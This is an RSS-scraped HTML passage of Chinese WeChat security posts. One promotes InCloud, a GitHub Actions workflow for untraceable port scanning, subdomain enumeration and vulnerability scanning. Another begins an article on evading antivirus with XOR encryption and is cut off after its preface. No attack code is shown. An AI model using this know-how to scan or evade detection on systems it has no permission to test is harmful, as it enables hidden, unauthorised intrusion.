data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)" data-darkmode-color-16266886853901="rgb(254, 254, 254)" data-darkmode-original-color-16266886853901="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)" data-darkmode-color-16266886853901="rgb(254, 254, 254)" data-darkmode-original-color-16266886853901="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)" data-darkmode-color-16266886853901="rgb(141, 141, 141)" data-darkmode-original-color-16266886853901="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">描述<br/></span></strong></p></section></section></section><p style="visibility: visible;"><br style="visibility: visible;"/></p></section></section></section><p><span style="font-size: 14px;">使用GitHub云扫描，实现ip隐藏、防溯源、云上自动化信息收集。</span></p><p><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=a9d08083&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibVicof1FC64sKWdia1IXJxmiahrPIqYYnnQTmzicYB2f1zumVjd2YfHlDesTo0lCpBrxDFb2dj50Xwug%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=0697ded4&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483942%26idx%3D1%26sn%3Dacc87d9ff5fd30be567f302eae5b1656%26subscene%3D0&amp;v=wxv_1964576652059787270"></video></p><p><span style="font-size: 14px;"></span><br/></p><p><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="visibility: visible;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="visibility: visible;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="visibility: visible;"><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)" data-darkmode-color-16266886853901="rgb(254, 254, 254)" data-darkmode-original-color-16266886853901="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)" data-darkmode-color-16266886853901="rgb(254, 254, 254)" data-darkmode-original-color-16266886853901="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)" data-darkmode-color-16266886853901="rgb(141, 141, 141)" data-darkmode-original-color-16266886853901="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">工具定位<br/></span></strong></p></section></section></section><p><br style="visibility: visible;"/><span style="font-size: 14px;background-color: rgb(255, 255, 255);color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;">运行于GitHub Actions 的仓库中自动化、自定义和执行软件开发工作流程，可以自己根据喜好定制功能，InCloud已经为您定制好了八种针对网段和域名的不同场景的信息收集与漏洞扫描</span><span style="font-size: 14px;">流。</span></p><p><span style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);"><br/></span></p><p><span style="font-size: 24px;">功能：</span></p><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="box-sizing: border-box;"><section style="line-height: 1.5em;"><span style="font-size: 14px;">PortScan-AllPort</span><span style="font-size: 14px;"> 对单IP文件列表进行全端口扫描，输出可用Web服务标题。</span></section><section style="line-height: 1.5em;"><br/></section></li><li style="box-sizing: border-box;margin-top: 0.25em;"><section style="line-height: 1.5em;"><span style="font-size: 14px;">PortScan-AllPort-Xray-Dirscan</span><span style="font-size: 14px;"> 对单IP文件列表进行全端口扫描，输出可用Web服务标题，对Web服务进行Xray爬虫爬取与漏洞扫描，对Web服务进行Ffuf目录递归扫描。</span></section><section style="line-height: 1.5em;"><br/></section></li><li><section style="line-height: 1.5em;"><span style="font-size: 14px;">PortScan-Top1000</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"> 对单C段IP列表进行Top1000端口扫描，输出可用Web服务标题。</span></section><section style="line-height: 1.5em;"><br/></section></li><li style="box-sizing: border-box;margin-top: 0.25em;"><section style="line-height: 1.5em;"><span style="font-size: 14px;">PortScan-Top1000-Xray</span><span style="font-size: 14px;"> 对单C段IP列表进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Xray爬虫爬取与漏洞扫描。</span></section><section style="line-height: 1.5em;"><br/></section></li><li><section style="line-height: 1.5em;"><span style="font-size: 14px;">PortScan-Top1000-Dirscan</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"> 对单C段IP列表进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Ffuf目录递归扫描。</span></section><section style="line-height: 1.5em;"><br/></section></li><li style="box-sizing: border-box;margin-top: 0.25em;"><section style="line-height: 1.5em;"><span style="font-size: 14px;">SubDomain-Portscan-Vulnscan</span><span style="font-size: 14px;"> 对域名进行子域名枚举与接口查询，对查询的子域名进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Nuclei漏洞扫描。</span></section><section style="line-height: 1.5em;"><br/></section></li><li style="box-sizing: border-box;margin-top: 0.25em;"><section style="line-height: 1.5em;"><span style="font-size: 14px;">SubDomain-Portscan-Xray</span><span style="font-size: 14px;"> 对域名进行子域名枚举与接口查询，对查询的子域名进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Xray爬虫爬取与漏洞扫描。</span></section><section style="line-height: 1.5em;"><br/></section></li><li style="box-sizing: border-box;margin-top: 0.25em;"><section style="line-height: 1.5em;"><span style="font-size: 14px;">SubDomain-Portscan-Dirscan</span><span style="font-size: 14px;"> 对域名进行子域名枚举与接口查询，对查询的子域名进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Ffuf目录递归扫描。</span></section></li></ul><p><br/></p><p><span style="font-size: 24px;">使用方法：</span></p></section></section></section><section style="margin-top: 10px;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"></span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="box-sizing: border-box;font-size: 14px;"><section style="line-height: 2em;"><span style="font-size: 14px;">1.将项目fork到自己的github.</span></section></li><li style="box-sizing: border-box;margin-top: 0.25em;font-size: 14px;"><section style="line-height: 2em;"><span style="font-size: 14px;">2.修改流程文件（.github/workflows/incloud.yaml）里的 git config --local user.email 与 git config --global user.name 改成自己的邮箱与自己的ID（用于报告输出）</span></section></li><li style="box-sizing: border-box;margin-top: 0.25em;font-size: 14px;"><section style="line-height: 2em;"><span style="font-size: 14px;">3.修改input目录的扫描目标，使用action标签进行在线编译。</span></section><section style="line-height: 2em;"><span style="font-size: 14px;">4.GitHub提供六小时的容器使用时长，扫描结束后，扫描结果会自动上传到自己fork的output文件夹下。</span></section><section style="line-height: 2em;"><br/></section><section style="line-height: 2em;"><br/></section><p><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.47578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d47f2406&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibVicof1FC64sKWdia1IXJxmiaLN2mNVXHKK4COLicC9xux9gqOKibAHRZXZlxLBmHtwmaV3xdtuw5GMzQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.490625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7e6ea169&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibVicof1FC64sKWdia1IXJxmiaAtNgibJg2fvdfsiboOaXE0eYNpR15nMUnDfzlSJicUwKP5ep8JWJjNQ0w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.1865284974093264" data-s="300,640" style="" data-type="png" data-w="1158" src="https://wechat2rss.xlab.app/img-proxy/?k=3b57046c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibVicof1FC64sKWdia1IXJxmia0OsRIwzweic6RkhohlYbD4403iaJzWDOkwcuFKfQ9Sl2oI1yvy85NDibQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7953125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=996b6dfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibVicof1FC64sKWdia1IXJxmiajvKC4nXCiaFcv6RTUGutE1ER7a2xhtlllBMpPL6PC8tX8dib3I8diawGw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.60546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=10758582&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibVicof1FC64sKWdia1IXJxmiaEtibjpFuWegds2PAWEr96FY4lOkibyEFIAFNwHficOEKyr8vMWaWu0kUQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;text-indent: 2em;"><br/></section><p><br/></p><section style="text-align: left;text-indent: 2em;"><strong><span style="font-size: 14px;">项目地址：<br/></span></strong></section><section style="text-align: left;text-indent: 2em;"><strong><span style="font-size: 14px;">github.com/inbug-team/InCloud</span></strong><span style="font-size: 14px;"></span></section><section style="text-align: left;text-indent: 2em;"><span style="font-size: 14px;"></span></section><section style="text-align: left;text-indent: 2em;"><br/></section><section><br/></section><section><br/></section><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cHibYMGgsCATs68fsqzZNMtia0fjXEtEXd7gfw5xmAcQdEmAoOOFcS4Ce6vQyyh0DJtq8po5bQicfRrKA/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。" data-from="0"></mpprofile></section></li></ul><p><span style="font-size: 14px;"></span></p>



<p><a href="https://github.com/inbug-team/InCloud">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=77f9c751&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483942%26idx%3D1%26sn%3Dacc87d9ff5fd30be567f302eae5b1656%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 19 Jul 2021 19:18:00 +0800</pubDate>
    </item>
    <item>
      <title>不会免杀？看我异或加密如何做到 VT 全免杀</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483912&amp;idx=1&amp;sn=52c25b5966ce9644f6f9cace12c838c9</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-07-09 19:35</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fbc295da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cH8KokGia9bExaib6r7uqiaqLBDnjckVnia1SzVibrB2to1WiaLmibQb8Vn9c3oQlyo3h1KbviaGwXmrTwxzYg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>               

                
                                                

                
                      <br/></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">前言</span></strong></p></section></section></section><p><br/></p><p><span style="font-size: 14px;">最近逛 github 的时候发现一个 C 的免杀项目，项目介绍中，作者只利用了动态加载 windows api ，和异或加密的方法就达到了在 antiscan.me 上全免杀的效果：</span><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)"/><img data-ratio="0.6868686868686869" data-w="1683" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=f9f2d37d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKNLus9JFiavgENmJ34sDOicUHeAa5XQM6HIwhC3AwiaTdCltsyUCG8YmoQ%2F640%3Fwx_fmt%3Djpeg"/><br/></p><p><span style="font-size: 14px;">于是，我怀着一颗学徒之心，研究了一下这个项目，下面是我在  vt 上的测试结果：<br/></span></p><p><img data-ratio="0.47086991221069435" data-w="2506" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=22aa930d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKn9H2lDuqf44wK6K9xxiae11LicnxIqNiaibnhZH06IpSgjicA5ibyd9oqO0Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(23, 43, 77);font-family: Helvetica, &#34;Hiragino Sans GB&#34;, 微软雅黑, &#34;Microsoft YaHei UI&#34;, SimSun, SimHei, arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><br/></span></p><p><br/></p><p>               

                
                                                

                
                      <br/></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: 